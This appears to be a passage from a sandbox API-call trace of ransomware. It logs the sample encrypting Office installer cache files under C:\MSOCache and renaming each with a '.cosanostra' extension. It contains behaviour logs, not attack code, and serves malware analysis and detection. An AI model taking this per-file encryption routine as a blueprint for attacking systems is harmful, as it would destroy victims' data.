Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.343] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec68 | out: pbBuffer=0x2abec68) returned 1 [0109.343] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec60*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec60*=0x30) returned 1 [0109.343] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0109.344] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0109.344] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0110.652] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe904, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.652] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x2abec24, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abec24*=0x16fc, lpOverlapped=0x0) returned 1 [0110.653] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.653] WriteFile (in: hFile=0x180, lpBuffer=0x2abec64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec24, lpOverlapped=0x0 | out: lpBuffer=0x2abec64*, lpNumberOfBytesWritten=0x2abec24*=0x4, lpOverlapped=0x0) returned 1 [0110.653] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec24, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec24*=0x30, lpOverlapped=0x0) returned 1 [0110.653] CloseHandle (hObject=0x180) returned 1 [0110.653] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0110.653] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0110.657] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec60 | out: pbBuffer=0x2abec60) returned 1 [0110.657] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec58*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec58*=0x30) returned 1 [0110.657] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.876] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 78 [0110.876] StrStrW (lpFirst="WordMUI.xml", lpSrch=".txt") returned 0x0 [0110.895] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff8f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.895] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x2abec1c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abec1c*=0x708, lpOverlapped=0x0) returned 1 [0110.895] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.895] WriteFile (in: hFile=0x138, lpBuffer=0x2abec5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec1c, lpOverlapped=0x0 | out: lpBuffer=0x2abec5c*, lpNumberOfBytesWritten=0x2abec1c*=0x4, lpOverlapped=0x0) returned 1 [0110.895] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec1c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec1c*=0x30, lpOverlapped=0x0) returned 1 [0110.895] CloseHandle (hObject=0x138) returned 1 [0110.896] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.cosanostra") returned 89 [0110.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.cosanostra")) returned 1 [0110.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec60 | out: pbBuffer=0x2abec60) returned 1 [0110.897] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec58*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec58*=0x30) returned 1 [0110.897] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.897] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec58 | out: pbBuffer=0x2abec58) returned 1 [0110.897] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec50*=0x30) returned 1 [0110.897] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec50 | out: pbBuffer=0x2abec50) returned 1 [0110.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec48*=0x30) returned 1 [0110.899] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.900] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0110.900] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0110.901] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffef91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.901] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x2abec0c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abec0c*=0x106f, lpOverlapped=0x0) returned 1 [0110.901] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.901] WriteFile (in: hFile=0x138, lpBuffer=0x2abec4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec0c, lpOverlapped=0x0 | out: lpBuffer=0x2abec4c*, lpNumberOfBytesWritten=0x2abec0c*=0x4, lpOverlapped=0x0) returned 1 [0110.902] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec0c*=0x30, lpOverlapped=0x0) returned 1 [0110.905] CloseHandle (hObject=0x138) returned 1 [0110.905] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0110.905] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0110.906] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec50 | out: pbBuffer=0x2abec50) returned 1 [0110.906] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec48*=0x30) returned 1 [0110.907] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.907] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 81 [0110.907] StrStrW (lpFirst="OutlookMUI.xml", lpSrch=".txt") returned 0x0 [0110.925] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff38e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.925] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x2abec0c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abec0c*=0xc72, lpOverlapped=0x0) returned 1 [0110.925] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.925] WriteFile (in: hFile=0x138, lpBuffer=0x2abec4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec0c, lpOverlapped=0x0 | out: lpBuffer=0x2abec4c*, lpNumberOfBytesWritten=0x2abec0c*=0x4, lpOverlapped=0x0) returned 1 [0110.925] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec0c*=0x30, lpOverlapped=0x0) returned 1 [0110.925] CloseHandle (hObject=0x138) returned 1 [0110.926] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.cosanostra") returned 92 [0110.926] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.cosanostra")) returned 1 [0110.926] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec48 | out: pbBuffer=0x2abec48) returned 1 [0110.927] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec40*=0x30) returned 1 [0110.927] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.930] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 78 [0110.930] StrStrW (lpFirst="OutlkLR.cab", lpSrch=".txt") returned 0x0 [0110.932] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.932] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec04, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abec04*=0x2800, lpOverlapped=0x0) returned 1 [0110.932] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.932] WriteFile (in: hFile=0x138, lpBuffer=0x2abec44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec04, lpOverlapped=0x0 | out: lpBuffer=0x2abec44*, lpNumberOfBytesWritten=0x2abec04*=0x4, lpOverlapped=0x0) returned 1 [0110.935] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec04, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec04*=0x30, lpOverlapped=0x0) returned 1 [0110.935] CloseHandle (hObject=0x138) returned 1 [0110.936] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.cosanostra") returned 89 [0110.936] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.cosanostra")) returned 1 [0110.936] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec48 | out: pbBuffer=0x2abec48) returned 1 [0110.936] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec40*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec40*=0x30) returned 1 [0110.937] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.937] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec40 | out: pbBuffer=0x2abec40) returned 1 [0110.937] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec38*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec38*=0x30) returned 1 [0110.937] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.939] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec38 | out: pbBuffer=0x2abec38) returned 1 [0110.939] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec30*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec30*=0x30) returned 1 [0110.939] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.943] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0110.943] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0110.944] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.950] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x2abebf4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abebf4*=0x648, lpOverlapped=0x0) returned 1 [0110.950] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.950] WriteFile (in: hFile=0x138, lpBuffer=0x2abec34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abebf4, lpOverlapped=0x0 | out: lpBuffer=0x2abec34*, lpNumberOfBytesWritten=0x2abebf4*=0x4, lpOverlapped=0x0) returned 1 [0110.954] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abebf4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abebf4*=0x30, lpOverlapped=0x0) returned 1 [0110.954] CloseHandle (hObject=0x138) returned 1 [0110.954] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0110.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0110.955] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec38 | out: pbBuffer=0x2abec38) returned 1 [0110.955] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec30*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec30*=0x30) returned 1 [0110.955] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.956] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 83 [0110.956] StrStrW (lpFirst="PublisherMUI.xml", lpSrch=".txt") returned 0x0 [0110.975] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.976] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x2abebf4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abebf4*=0x5aa, lpOverlapped=0x0) returned 1 [0110.976] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.976] WriteFile (in: hFile=0x138, lpBuffer=0x2abec34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abebf4, lpOverlapped=0x0 | out: lpBuffer=0x2abec34*, lpNumberOfBytesWritten=0x2abebf4*=0x4, lpOverlapped=0x0) returned 1 [0110.976] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abebf4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abebf4*=0x30, lpOverlapped=0x0) returned 1 [0110.976] CloseHandle (hObject=0x138) returned 1 [0110.976] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.cosanostra") returned 94 [0110.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.cosanostra")) returned 1 [0110.977] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec30 | out: pbBuffer=0x2abec30) returned 1 [0110.977] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec28*=0x30) returned 1 [0110.977] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0110.978] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 76 [0110.978] StrStrW (lpFirst="PptLR.cab", lpSrch=".txt") returned 0x0 [0110.988] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.988] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abebec, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abebec*=0x2800, lpOverlapped=0x0) returned 1 [0110.989] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.989] WriteFile (in: hFile=0x138, lpBuffer=0x2abec2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abebec, lpOverlapped=0x0 | out: lpBuffer=0x2abec2c*, lpNumberOfBytesWritten=0x2abebec*=0x4, lpOverlapped=0x0) returned 1 [0111.001] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abebec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abebec*=0x30, lpOverlapped=0x0) returned 1 [0111.001] CloseHandle (hObject=0x138) returned 1 [0111.001] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.cosanostra") returned 87 [0111.001] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.cosanostra")) returned 1 [0111.002] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec30 | out: pbBuffer=0x2abec30) returned 1 [0111.002] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec28*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec28*=0x30) returned 1 [0111.002] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All 